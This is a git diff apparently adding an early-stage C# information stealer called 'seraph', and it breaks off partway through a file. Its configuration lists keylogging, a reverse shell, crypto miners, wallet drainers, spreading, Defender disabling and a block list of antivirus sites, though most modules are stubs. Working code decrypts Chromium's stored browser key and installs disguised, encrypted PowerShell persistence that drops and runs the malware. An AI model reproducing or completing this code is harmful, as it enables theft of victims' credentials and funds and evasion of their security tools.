diff --git a/.idea/.idea.seraph/.idea/.gitignore b/.idea/.idea.seraph/.idea/.gitignore new file mode 100644 index 0000000..37037e9 --- /dev/null +++ b/.idea/.idea.seraph/.idea/.gitignore @@ -0,0 +1,13 @@ +# Default ignored files +/shelf/ +/workspace.xml +# Rider ignored files +/modules.xml +/projectSettingsUpdater.xml +/contentModel.xml +/.idea.seraph.iml +# Editor-based HTTP Client requests +/httpRequests/ +# Datasource local storage ignored files +/dataSources/ +/dataSources.local.xml diff --git a/.idea/.idea.seraph/.idea/discord.xml b/.idea/.idea.seraph/.idea/discord.xml new file mode 100644 index 0000000..d8e9561 --- /dev/null +++ b/.idea/.idea.seraph/.idea/discord.xml @@ -0,0 +1,7 @@ + + + + + \ No newline at end of file diff --git a/.idea/.idea.seraph/.idea/indexLayout.xml b/.idea/.idea.seraph/.idea/indexLayout.xml new file mode 100644 index 0000000..7b08163 --- /dev/null +++ b/.idea/.idea.seraph/.idea/indexLayout.xml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/seraph.sln b/seraph.sln new file mode 100644 index 0000000..55c186f --- /dev/null +++ b/seraph.sln @@ -0,0 +1,16 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "seraph", "seraph\seraph.csproj", "{7BAF69CF-6305-4592-A6AA-C6F1FAD55A27}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {7BAF69CF-6305-4592-A6AA-C6F1FAD55A27}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {7BAF69CF-6305-4592-A6AA-C6F1FAD55A27}.Debug|Any CPU.Build.0 = Debug|Any CPU + {7BAF69CF-6305-4592-A6AA-C6F1FAD55A27}.Release|Any CPU.ActiveCfg = Release|Any CPU + {7BAF69CF-6305-4592-A6AA-C6F1FAD55A27}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection +EndGlobal diff --git a/seraph/Configuration.cs b/seraph/Configuration.cs new file mode 100644 index 0000000..04fe2a6 --- /dev/null +++ b/seraph/Configuration.cs @@ -0,0 +1,75 @@ +namespace seraph; + +public static class Configuration +{ + public static string SocketServer = "127.0.0.1:8883"; // socket server, using ECDH-Curve25519 for encryption & verification + public static bool MeltStub = false; + public static bool FakeError = false; + public static string ErrorMessage = "The code execution cannot proceed because api-ms-win-core-timezone-l1-1-0.dll was not found. Reinstalling the application may fix this problem."; + public static bool AntiKill = false; + public static bool AntiKillBSoD = false; + public static bool AntiVM = false; + public static bool AntiAnalysis = false; + public static bool AntiDebug = false; + public static bool Startup = true; + public static string StartupMode = "taskschd"; // regkey, taskschd or folder + public static bool WebcamSnapshot = false; + public static bool Screenshot = false; + public static bool MoneroCryptoMiner = false; + public static bool LitecoinCryptoMiner = false; + public static bool BitcoinCryptoMiner = false; + public static int MoneroMinerUsage = 25; + public static int LitecoinMinerUsage = 25; + public static int BitcoinMinerUsage = 25; + public static string MoneroMinerWallet = ""; + public static string LitecoinMinerWallet = ""; + public static string BitcoinMinerWallet = ""; + public static bool NetworkSpread = false; + public static bool USBInfect = false; + public static bool SystemInfect = false; + public static bool BrowserInjection = false; + public static bool MailInjection = false; + public static bool VPNInjection = false; + public static bool WalletInjection = false; + public static bool MessengerInjection = false; + public static bool BlockWebsites = false; // blocks websites off the local machine from being accessed + public static List WebsitesList = new List { "virustotal.com", "avast.com", "totalav.com", "scanguard.com", "totaladblock.com", "pcprotect.com", "mcafee.com", "bitdefender.com", "us.norton.com", "avg.com", "malwarebytes.com", "pandasecurity.com", "avira.com", "norton.com", "eset.com", "zillya.com", "kaspersky.com", "usa.kaspersky.com", "sophos.com", "home.sophos.com", "adaware.com", "bullguard.com", "clamav.net", "drweb.com", "emsisoft.com", "f-secure.com", "zonealarm.com", "trendmicro.com", "ccleaner.com" }; + public static bool PornDetection = false; // detects if porn/hentai is viewed and runs webcam snapshot automatically if so + public static bool Keylogger = false; + public static bool ReverseShell = false; + public static bool ShellcodeLoader = false; + public static byte[] Shellcode = new byte[] { 0x81, 0x92 }; // use donut to gen PIC shellc + public static bool BrowserData = false; + public static bool WalletData = false; + public static bool WalletDrainer = false; + public static string WalletDrainerMoneroAddress = ""; + public static string WalletDrainerLitecoinAddress = ""; + public static string WalletDrainerBitcoinAddress = ""; + public static string WalletDrainerEthereumAddress = ""; + public static string WalletDrainerTetherAddress = ""; + public static bool CryptoClipper = false; + public static string CryptoClipperMoneroAddress = ""; + public static string CryptoClipperLitecoinAddress = ""; + public static string CryptoClipperBitcoinAddress = ""; + public static string CryptoClipperEthereumAddress = ""; + public static string CryptoClipperTetherAddress = ""; + public static bool NetworkData = false; + public static bool MessengerData = false; + public static bool MailData = false; + public static bool SystemData = false; + public static bool ImportantFiles = false; + public static List ImportantFilesExtensions = new List { "db", "kdbx", "sql", "sqlite", "pgp", "xml", "enc", "p12", "pfx", "vault", "json", "c", "h", "txt", "sqlite3", "pem", "asc", "cert", "ovpn", "ca", "sig", "adp" }; + public static bool CommonFiles = false; + public static List CommonFilesExtensions = new List { "ini", "png", "jpg", "txt", "mp4", "mov", "webp", "7z", "zip", "dll", "jar", "java", "c", "h", "hpp", "cpp", "java", "d", "cs", "js", "ts", "py", "json", "lib", "gif", "wav", "bat", "cmd", "mp3", "jpeg", "nim", "html", "php", "css", "pyc", "pyd", "sln", "kts", "rs", "lisp", "zig", "exs", "md", "kt" }; + public static bool GameData = false; + public static bool AMSIBypass = false; + public static bool DefenderExlusion = false; + public static List ExcludedFilePaths = new List { "" }; + public static List ExcludedFolderPaths = new List { "" }; + public static bool DestroyDefender = false; + public static bool DisableDefender = false; + public static bool DisableETW = false; + public static bool DisableREAgentC = false; + public static bool UACBypass = false; + public static bool RemoteControl = false; +} \ No newline at end of file diff --git a/seraph/Program.cs b/seraph/Program.cs new file mode 100644 index 0000000..8812c5f --- /dev/null +++ b/seraph/Program.cs @@ -0,0 +1,37 @@ +using seraph; +using seraph.Seraph.AntiDebug; +using seraph.Seraph.Components; +using seraph.Seraph.Infect; +using seraph.Seraph.Remote; + +internal class Seraph +{ + private static void Main(string[] args) + { + var services = new List + { + new Seraphian(), + new Remote(), + new Infect() + }; + + var antiDebug = new AntiDebug(); + antiDebug.RunChecks(); + + var threads = new List(); + + foreach (var service in services) + { + var createThread = new Thread(() => { service.Initialize(); service.Execute(); }); + threads.Add(createThread); + createThread.Start(); + } + + foreach (var thread in threads) + { + thread.Join(); + } + + threads.Clear(); + } +} \ No newline at end of file diff --git a/seraph/README.md b/seraph/README.md new file mode 100644 index 0000000..e69de29 diff --git a/seraph/Seraph.AntiDebug/AntiAnalysis.cs b/seraph/Seraph.AntiDebug/AntiAnalysis.cs new file mode 100644 index 0000000..4cc9cb4 --- /dev/null +++ b/seraph/Seraph.AntiDebug/AntiAnalysis.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.AntiDebug; + +public class AntiAnalysis +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.AntiDebug/AntiDebug.cs b/seraph/Seraph.AntiDebug/AntiDebug.cs new file mode 100644 index 0000000..433befa --- /dev/null +++ b/seraph/Seraph.AntiDebug/AntiDebug.cs @@ -0,0 +1,9 @@ +namespace seraph.Seraph.AntiDebug; + +public class AntiDebug +{ + public void RunChecks() + { + Console.WriteLine("Anti Debug Running."); + } +} \ No newline at end of file diff --git a/seraph/Seraph.AntiDebug/AntiKill.cs b/seraph/Seraph.AntiDebug/AntiKill.cs new file mode 100644 index 0000000..cc0fda9 --- /dev/null +++ b/seraph/Seraph.AntiDebug/AntiKill.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.AntiDebug; + +public class AntiKill +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.AntiDebug/AntiVM.cs b/seraph/Seraph.AntiDebug/AntiVM.cs new file mode 100644 index 0000000..db04ecd --- /dev/null +++ b/seraph/Seraph.AntiDebug/AntiVM.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.AntiDebug; + +public class AntiVM +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.Components/BlockWebsites.cs b/seraph/Seraph.Components/BlockWebsites.cs new file mode 100644 index 0000000..3b76e82 --- /dev/null +++ b/seraph/Seraph.Components/BlockWebsites.cs @@ -0,0 +1,9 @@ +namespace seraph.Seraph.Components; + +public class BlockWebsites : Seraphian.Seraphh +{ + public override void Run() + { + Console.WriteLine("BlockWebsites Running."); + } +} \ No newline at end of file diff --git a/seraph/Seraph.Components/Exfiltration/Browser/Browser.cs b/seraph/Seraph.Components/Exfiltration/Browser/Browser.cs new file mode 100644 index 0000000..3d9c4af --- /dev/null +++ b/seraph/Seraph.Components/Exfiltration/Browser/Browser.cs @@ -0,0 +1,37 @@ +namespace seraph.Seraph.Components.Exfiltration.Browser; + +public class Browser : Seraphian.Seraphh +{ + public override void Run() + { + if (!Configuration.BrowserData) + { + return; + } + + Console.WriteLine("Browser Exfiltration Running."); + + var threads = new List(); + + foreach (var browserPath in Chromium.BrowserPaths) + { + var path = Path.Combine(Utility.Utils.lAppdata, browserPath, "User Data"); + + if (!Directory.Exists(path)) + { + return; + } + + var createThread = new Thread(() => { Chromium.BrowserEntry(path); }); + threads.Add(createThread); + createThread.Start(); + } + + foreach (var thread in threads) + { + thread.Join(); + } + + threads.Clear(); + } +} \ No newline at end of file diff --git a/seraph/Seraph.Components/Exfiltration/Browser/Chromium.cs b/seraph/Seraph.Components/Exfiltration/Browser/Chromium.cs new file mode 100644 index 0000000..f3a98d1 --- /dev/null +++ b/seraph/Seraph.Components/Exfiltration/Browser/Chromium.cs @@ -0,0 +1,35 @@ +using System.Text.Json; + +namespace seraph.Seraph.Components.Exfiltration.Browser; + +public class Chromium +{ + public static List BrowserPaths = new List { "Iridium", "Microsoft\\Edge", "Thorium", "Google\\Chrome", "BraveSoftware\\Brave-Browser", "Vivaldi", "Epic Privacy Browser", "Torch", "Amigo", "Kometa", "Orbitum", "CentBrowser", "7Star\\7Star", "Sputnik\\Sputnik", "uCozMedia\\Uran", "Yandex\\YandexBrowser" }; + public static List BrowserProfiles = new List { "Default", "Profile 1", "Profile 2", "Profile 3", "Profile 4", "Profile 5" }; + + public static void BrowserEntry(string fullPath) + { + var localStateFile = Path.Combine(fullPath, "Local State"); + + if (!File.Exists(localStateFile)) + { + return; + } + + var key = GetKey.Decrypt(localStateFile); + + Console.WriteLine(key); + + foreach (var profile in Chromium.BrowserProfiles) + { + var path = Path.Combine(fullPath, profile); + + if (!Directory.Exists(path)) + { + continue; + } + + Console.WriteLine(path); + } + } +} \ No newline at end of file diff --git a/seraph/Seraph.Components/Exfiltration/Browser/Decrypt.cs b/seraph/Seraph.Components/Exfiltration/Browser/Decrypt.cs new file mode 100644 index 0000000..b19f111 --- /dev/null +++ b/seraph/Seraph.Components/Exfiltration/Browser/Decrypt.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.Components.Exfiltration.Browser; + +public class Decrypt +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.Components/Exfiltration/Browser/Gecko.cs b/seraph/Seraph.Components/Exfiltration/Browser/Gecko.cs new file mode 100644 index 0000000..5e112ba --- /dev/null +++ b/seraph/Seraph.Components/Exfiltration/Browser/Gecko.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.Components.Exfiltration.Browser; + +public class Gecko +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.Components/Exfiltration/Browser/GetKey.cs b/seraph/Seraph.Components/Exfiltration/Browser/GetKey.cs new file mode 100644 index 0000000..bc2d1be --- /dev/null +++ b/seraph/Seraph.Components/Exfiltration/Browser/GetKey.cs @@ -0,0 +1,61 @@ +namespace seraph.Seraph.Components.Exfiltration.Browser; + +using System.Text.Json; + +public class GetKey +{ + public static string Decrypt(string path) + { + var jsonData = string.Empty; + + try + { + jsonData = File.ReadAllText(path); + } + catch (IOException ex) + { + Console.WriteLine($"An error occurred: {ex.Message}"); + return ex.Message; + } + + var encodedKey = string.Empty; + + try + { + var document = JsonDocument.Parse(jsonData); + encodedKey = document.RootElement + .GetProperty("os_crypt") + .GetProperty("encrypted_key") + .GetString(); + + Console.WriteLine($"Encoded Key: {encodedKey}"); + } + catch (JsonException ex) + { + Console.WriteLine($"Error parsing Json Data: {ex.Message}"); + return ex.Message; + } + catch (KeyNotFoundException ex) + { + Console.WriteLine($"Missing expected Json property: {ex.Message}"); + return ex.Message; + } + + string decodedKey = System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(encodedKey)); + + string encryptedKey = decodedKey.Length > 5 ? decodedKey.Substring(5) : string.Empty; + + Console.WriteLine($"Encrypted Key: {encryptedKey}"); + + try + { + var decryptedKey = Utility.Crypt32Wrapper.Decrypt(System.Text.Encoding.UTF8.GetBytes(encryptedKey)); + return decryptedKey; + } + catch (Exception ex) + { + Console.WriteLine($"Error during decryption: {ex.Message}"); + return ex.Message; + } + } +} \ No newline at end of file diff --git a/seraph/Seraph.Components/Exfiltration/Files.cs b/seraph/Seraph.Components/Exfiltration/Files.cs new file mode 100644 index 0000000..aa148cb --- /dev/null +++ b/seraph/Seraph.Components/Exfiltration/Files.cs @@ -0,0 +1,9 @@ +namespace seraph.Seraph.Components.Exfiltration; + +public class Files : Seraphian.Seraphh +{ + public override void Run() + { + Console.WriteLine("File Exfiltration Running."); + } +} \ No newline at end of file diff --git a/seraph/Seraph.Components/Exfiltration/Game.cs b/seraph/Seraph.Components/Exfiltration/Game.cs new file mode 100644 index 0000000..da36560 --- /dev/null +++ b/seraph/Seraph.Components/Exfiltration/Game.cs @@ -0,0 +1,9 @@ +namespace seraph.Seraph.Components.Exfiltration; + +public class Game : Seraphian.Seraphh +{ + public override void Run() + { + Console.WriteLine("Game Exfiltration Running."); + } +} \ No newline at end of file diff --git a/seraph/Seraph.Components/Exfiltration/Mail.cs b/seraph/Seraph.Components/Exfiltration/Mail.cs new file mode 100644 index 0000000..024b158 --- /dev/null +++ b/seraph/Seraph.Components/Exfiltration/Mail.cs @@ -0,0 +1,9 @@ +namespace seraph.Seraph.Components.Exfiltration; + +public class Mail : Seraphian.Seraphh +{ + public override void Run() + { + Console.WriteLine("Mail Exfiltration Running."); + } +} \ No newline at end of file diff --git a/seraph/Seraph.Components/Exfiltration/Messenger.cs b/seraph/Seraph.Components/Exfiltration/Messenger.cs new file mode 100644 index 0000000..0275c35 --- /dev/null +++ b/seraph/Seraph.Components/Exfiltration/Messenger.cs @@ -0,0 +1,9 @@ +namespace seraph.Seraph.Components.Exfiltration; + +public class Messenger : Seraphian.Seraphh +{ + public override void Run() + { + Console.WriteLine("Messenger Exfiltration Running."); + } +} \ No newline at end of file diff --git a/seraph/Seraph.Components/Exfiltration/Network/Network.cs b/seraph/Seraph.Components/Exfiltration/Network/Network.cs new file mode 100644 index 0000000..b934977 --- /dev/null +++ b/seraph/Seraph.Components/Exfiltration/Network/Network.cs @@ -0,0 +1,9 @@ +namespace seraph.Seraph.Components.Exfiltration.Network; + +public class Network : Seraphian.Seraphh +{ + public override void Run() + { + Console.WriteLine("Network Exfiltration Running."); + } +} \ No newline at end of file diff --git a/seraph/Seraph.Components/Exfiltration/Network/SFTP.cs b/seraph/Seraph.Components/Exfiltration/Network/SFTP.cs new file mode 100644 index 0000000..a788c3e --- /dev/null +++ b/seraph/Seraph.Components/Exfiltration/Network/SFTP.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.Components.Exfiltration.Network; + +public class SFTP +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.Components/Exfiltration/Network/SSH.cs b/seraph/Seraph.Components/Exfiltration/Network/SSH.cs new file mode 100644 index 0000000..ce4fa7d --- /dev/null +++ b/seraph/Seraph.Components/Exfiltration/Network/SSH.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.Components.Exfiltration.Network; + +public class SSH +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.Components/Exfiltration/Network/VPN.cs b/seraph/Seraph.Components/Exfiltration/Network/VPN.cs new file mode 100644 index 0000000..bfb7b4d --- /dev/null +++ b/seraph/Seraph.Components/Exfiltration/Network/VPN.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.Components.Exfiltration.Network; + +public class VPN +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.Components/Exfiltration/Ssystem.cs b/seraph/Seraph.Components/Exfiltration/Ssystem.cs new file mode 100644 index 0000000..4dd8f39 --- /dev/null +++ b/seraph/Seraph.Components/Exfiltration/Ssystem.cs @@ -0,0 +1,9 @@ +namespace seraph.Seraph.Components.Exfiltration; + +public class Ssystem : Seraphian.Seraphh +{ + public override void Run() + { + Console.WriteLine("System Exfiltration Running."); + } +} \ No newline at end of file diff --git a/seraph/Seraph.Components/Exfiltration/Wallet/Clipper.cs b/seraph/Seraph.Components/Exfiltration/Wallet/Clipper.cs new file mode 100644 index 0000000..c96603d --- /dev/null +++ b/seraph/Seraph.Components/Exfiltration/Wallet/Clipper.cs @@ -0,0 +1,9 @@ +namespace seraph.Seraph.Components.Exfiltration.Wallet; + +public class Clipper : Seraphian.Seraphh +{ + public override void Run() + { + Console.WriteLine("Crypto Clipper Running."); + } +} \ No newline at end of file diff --git a/seraph/Seraph.Components/Exfiltration/Wallet/Drainer.cs b/seraph/Seraph.Components/Exfiltration/Wallet/Drainer.cs new file mode 100644 index 0000000..bb80f80 --- /dev/null +++ b/seraph/Seraph.Components/Exfiltration/Wallet/Drainer.cs @@ -0,0 +1,9 @@ +namespace seraph.Seraph.Components.Exfiltration.Wallet; + +public class Drainer : Seraphian.Seraphh +{ + public override void Run() + { + Console.WriteLine("Crypto Drainer Running."); + } +} \ No newline at end of file diff --git a/seraph/Seraph.Components/Exfiltration/Wallet/Miner.cs b/seraph/Seraph.Components/Exfiltration/Wallet/Miner.cs new file mode 100644 index 0000000..9b14afb --- /dev/null +++ b/seraph/Seraph.Components/Exfiltration/Wallet/Miner.cs @@ -0,0 +1,9 @@ +namespace seraph.Seraph.Components.Exfiltration.Wallet; + +public class Miner : Seraphian.Seraphh +{ + public override void Run() + { + Console.WriteLine("Crypto Miner Running."); + } +} \ No newline at end of file diff --git a/seraph/Seraph.Components/Exfiltration/Wallet/Wallet.cs b/seraph/Seraph.Components/Exfiltration/Wallet/Wallet.cs new file mode 100644 index 0000000..6936ae5 --- /dev/null +++ b/seraph/Seraph.Components/Exfiltration/Wallet/Wallet.cs @@ -0,0 +1,9 @@ +namespace seraph.Seraph.Components.Exfiltration.Wallet; + +public class Wallet : Seraphian.Seraphh +{ + public override void Run() + { + Console.WriteLine("Wallet Exfiltration Running."); + } +} \ No newline at end of file diff --git a/seraph/Seraph.Components/NetworkSpread.cs b/seraph/Seraph.Components/NetworkSpread.cs new file mode 100644 index 0000000..6451837 --- /dev/null +++ b/seraph/Seraph.Components/NetworkSpread.cs @@ -0,0 +1,9 @@ +namespace seraph.Seraph.Components; + +public class NetworkSpread : Seraphian.Seraphh +{ + public override void Run() + { + Console.WriteLine("NetworkSpread Running."); + } +} \ No newline at end of file diff --git a/seraph/Seraph.Components/Persistence.cs b/seraph/Seraph.Components/Persistence.cs new file mode 100644 index 0000000..f07067f --- /dev/null +++ b/seraph/Seraph.Components/Persistence.cs @@ -0,0 +1,108 @@ +using seraph.Seraph.Utility; + +namespace seraph.Seraph.Components; + +using System.Reflection; +using System.Security.Cryptography; + +public class Persistence : Seraphian.Seraphh +{ + public override void Run() + { + if (!Configuration.Startup) + { + return; + } + + Console.WriteLine("Persistence Running."); + + string path = Path.Join(Utils.lAppdata, "Microsoft", "Windows", "PowerShell"); + if (!Directory.Exists(path)) + { + Directory.CreateDirectory(path); + } + + string assemblyPath = Assembly.GetExecutingAssembly().Location; + + byte[] fileBytes = File.ReadAllBytes(assemblyPath); + + (string iv, string key, string encrypted) = EncryptString(fileBytes); + + // Console.WriteLine(encrypted); + + string startupFile = Path.Join(Utils.lAppdata, "Microsoft", "Windows", "PowerShell", + "StartupProfileAnalytics2.ps1"); + + string startupScript = @$" +$base64Iv = ""{iv}"" +$base64Key = ""{key}"" +$base64EncryptedData = ""{encrypted}"" + +$iv = [System.Convert]::FromBase64String($base64Iv) +$key = [System.Convert]::FromBase64String($base64Key) +$encryptedData = [System.Convert]::FromBase64String($base64EncryptedData) + +$aes = [System.Security.Cryptography.Aes]::Create() +$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC +$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 +$aes.Key = $key +$aes.IV = $iv + +$decryptor = $aes.CreateDecryptor() +$decryptedBytes = $decryptor.TransformFinalBlock($encryptedData, 0, $encryptedData.Length) + +$memoryStream = New-Object System.IO.MemoryStream +$memoryStream.Write($decryptedBytes, 0, $decryptedBytes.Length) +$memoryStream.Position = 0 + +$binaryData = $memoryStream.ToArray() +$memoryStream.Close() + +$binaryPath = [System.IO.Path]::GetTempFileName() + "".exe"" + +[System.IO.File]::WriteAllBytes($binaryPath, $binaryData) + +Start-Process $binaryPath -NoNewWindow -Wait + +Remove-Item $binaryPath"; + + if (!File.Exists(startupFile)) + { + File.WriteAllText(startupFile, startupScript); + } + + // powershell -ExecutionPolicy Bypass -File "C:\Users\gum\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileAnalytics.ps1" + + if (Utils.ShellExecute("schtasks /query /tn \"Seraph") == "") + { + if (Utils.IsRunningAsAdmin()) + { + + } + } + } + + static (string iv, string key, string encrypted) EncryptString(byte[] dataToEncrypt) + { + if (dataToEncrypt == null || dataToEncrypt.Length == 0) + throw new ArgumentNullException(nameof(dataToEncrypt)); + + using (Aes aes = Aes.Create()) + { + aes.GenerateKey(); + aes.GenerateIV(); + + ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV); + + using (MemoryStream ms = new MemoryStream()) + using (CryptoStream cs = new CryptoStream(ms, encryptor, CryptoStreamMode.Write)) + { + cs.Write(dataToEncrypt, 0, dataToEncrypt.Length); + cs.FlushFinalBlock(); + + string encryptedData = Convert.ToBase64String(ms.ToArray()); + return (Convert.ToBase64String(aes.IV), Convert.ToBase64String(aes.Key), encryptedData); + } + } + } +} \ No newline at end of file diff --git a/seraph/Seraph.Components/PornDetection.cs b/seraph/Seraph.Components/PornDetection.cs new file mode 100644 index 0000000..f3f64f7 --- /dev/null +++ b/seraph/Seraph.Components/PornDetection.cs @@ -0,0 +1,9 @@ +namespace seraph.Seraph.Components; + +public class PornDetection : Seraphian.Seraphh +{ + public override void Run() + { + Console.WriteLine("PornDetection Running."); + } +} \ No newline at end of file diff --git a/seraph/Seraph.Components/PrivilegeEscalation/AMSIBypass.cs b/seraph/Seraph.Components/PrivilegeEscalation/AMSIBypass.cs new file mode 100644 index 0000000..17ac7e1 --- /dev/null +++ b/seraph/Seraph.Components/PrivilegeEscalation/AMSIBypass.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.Components.PrivilegeEscalation; + +public class AMSIBypass +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.Components/PrivilegeEscalation/DefenderExclusion.cs b/seraph/Seraph.Components/PrivilegeEscalation/DefenderExclusion.cs new file mode 100644 index 0000000..a229477 --- /dev/null +++ b/seraph/Seraph.Components/PrivilegeEscalation/DefenderExclusion.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.Components.PrivilegeEscalation; + +public class DefenderExclusion +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.Components/PrivilegeEscalation/DestroyDefender.cs b/seraph/Seraph.Components/PrivilegeEscalation/DestroyDefender.cs new file mode 100644 index 0000000..bcee3ed --- /dev/null +++ b/seraph/Seraph.Components/PrivilegeEscalation/DestroyDefender.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.Components.PrivilegeEscalation; + +public class DestroyDefender +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.Components/PrivilegeEscalation/DisableDefender.cs b/seraph/Seraph.Components/PrivilegeEscalation/DisableDefender.cs new file mode 100644 index 0000000..ca26332 --- /dev/null +++ b/seraph/Seraph.Components/PrivilegeEscalation/DisableDefender.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.Components.PrivilegeEscalation; + +public class DisableDefender +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.Components/PrivilegeEscalation/DisableETW.cs b/seraph/Seraph.Components/PrivilegeEscalation/DisableETW.cs new file mode 100644 index 0000000..601a12b --- /dev/null +++ b/seraph/Seraph.Components/PrivilegeEscalation/DisableETW.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.Components.PrivilegeEscalation; + +public class DisableETW +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.Components/PrivilegeEscalation/DisableREAgentC.cs b/seraph/Seraph.Components/PrivilegeEscalation/DisableREAgentC.cs new file mode 100644 index 0000000..92d57d0 --- /dev/null +++ b/seraph/Seraph.Components/PrivilegeEscalation/DisableREAgentC.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.Components.PrivilegeEscalation; + +public class DisableREAgentC +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.Components/PrivilegeEscalation/PrivEsc.cs b/seraph/Seraph.Components/PrivilegeEscalation/PrivEsc.cs new file mode 100644 index 0000000..d53bb4c --- /dev/null +++ b/seraph/Seraph.Components/PrivilegeEscalation/PrivEsc.cs @@ -0,0 +1,9 @@ +namespace seraph.Seraph.Components.PrivilegeEscalation; + +public class PrivEsc : Seraphian.Seraphh +{ + public override void Run() + { + Console.WriteLine("Privilege Escalation Running."); + } +} \ No newline at end of file diff --git a/seraph/Seraph.Components/PrivilegeEscalation/UACBypass.cs b/seraph/Seraph.Components/PrivilegeEscalation/UACBypass.cs new file mode 100644 index 0000000..5a222e1 --- /dev/null +++ b/seraph/Seraph.Components/PrivilegeEscalation/UACBypass.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.Components.PrivilegeEscalation; + +public class UACBypass +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.Components/Sender.cs b/seraph/Seraph.Components/Sender.cs new file mode 100644 index 0000000..22299a7 --- /dev/null +++ b/seraph/Seraph.Components/Sender.cs @@ -0,0 +1,14 @@ +namespace seraph.Seraph.Components; + +public class Sender : Service +{ + public override void Initialize() + { + Console.WriteLine("Sender Initialized."); + } + + public override void Execute() + { + Console.WriteLine("Sender Running."); + } +} \ No newline at end of file diff --git a/seraph/Seraph.Components/Seraphian.cs b/seraph/Seraph.Components/Seraphian.cs new file mode 100644 index 0000000..82c6196 --- /dev/null +++ b/seraph/Seraph.Components/Seraphian.cs @@ -0,0 +1,63 @@ +using seraph.Seraph.Components.Exfiltration; +using seraph.Seraph.Components.Exfiltration.Browser; +using seraph.Seraph.Components.Exfiltration.Network; +using seraph.Seraph.Components.Exfiltration.Wallet; +using seraph.Seraph.Components.PrivilegeEscalation; + +namespace seraph.Seraph.Components; + +public class Seraphian : Service +{ + public override void Initialize() + { + Console.WriteLine("Stealer Initialized."); + } + + public override void Execute() + { + Console.WriteLine("Stealer Running."); + + var services = new List() + { + new PornDetection(), + new Persistence(), + new Snapshot(), + new ShellcodeLoader(), + new NetworkSpread(), + new BlockWebsites(), + new PrivEsc(), + new Files(), + new Game(), + new Mail(), + new Messenger(), + new Ssystem(), + new Wallet(), + new Miner(), + new Drainer(), + new Clipper(), + new Network(), + new Browser() + }; + + var threads = new List(); + + foreach (var service in services) + { + var createThread = new Thread(() => { service.Run(); }); + threads.Add(createThread); + createThread.Start(); + } + + foreach (var thread in threads) + { + thread.Join(); + } + + threads.Clear(); + } + + public abstract class Seraphh + { + public abstract void Run(); + } +} \ No newline at end of file diff --git a/seraph/Seraph.Components/ShellcodeLoader.cs b/seraph/Seraph.Components/ShellcodeLoader.cs new file mode 100644 index 0000000..427e784 --- /dev/null +++ b/seraph/Seraph.Components/ShellcodeLoader.cs @@ -0,0 +1,9 @@ +namespace seraph.Seraph.Components; + +public class ShellcodeLoader : Seraphian.Seraphh +{ + public override void Run() + { + Console.WriteLine("ShellcodeLoader Running."); + } +} \ No newline at end of file diff --git a/seraph/Seraph.Components/Snapshot.cs b/seraph/Seraph.Components/Snapshot.cs new file mode 100644 index 0000000..6cf5da8 --- /dev/null +++ b/seraph/Seraph.Components/Snapshot.cs @@ -0,0 +1,9 @@ +namespace seraph.Seraph.Components; + +public class Snapshot : Seraphian.Seraphh +{ + public override void Run() + { + Console.WriteLine("Snapshot Running."); + } +} \ No newline at end of file diff --git a/seraph/Seraph.Infect/Infect.cs b/seraph/Seraph.Infect/Infect.cs new file mode 100644 index 0000000..834b27b --- /dev/null +++ b/seraph/Seraph.Infect/Infect.cs @@ -0,0 +1,14 @@ +namespace seraph.Seraph.Infect; + +public class Infect : Service +{ + public override void Initialize() + { + Console.WriteLine("Infection Initialized."); + } + + public override void Execute() + { + Console.WriteLine("Infection Running."); + } +} \ No newline at end of file diff --git a/seraph/Seraph.Infect/SystemSpread.cs b/seraph/Seraph.Infect/SystemSpread.cs new file mode 100644 index 0000000..b45a8e6 --- /dev/null +++ b/seraph/Seraph.Infect/SystemSpread.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.Infect; + +public class SystemSpread +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.Infect/USBSpread.cs b/seraph/Seraph.Infect/USBSpread.cs new file mode 100644 index 0000000..635e7ef --- /dev/null +++ b/seraph/Seraph.Infect/USBSpread.cs @@ -0,0 +1,6 @@ +namespace seraph.Seraph.Infect; + +public class USBSpread +{ + +} \ No newline at end of file diff --git a/seraph/Seraph.Remote/Download.cs b/seraph/Seraph.Remote/Download.cs new file mode 100644 index 0000000..71358f0 --- /dev/null +++ 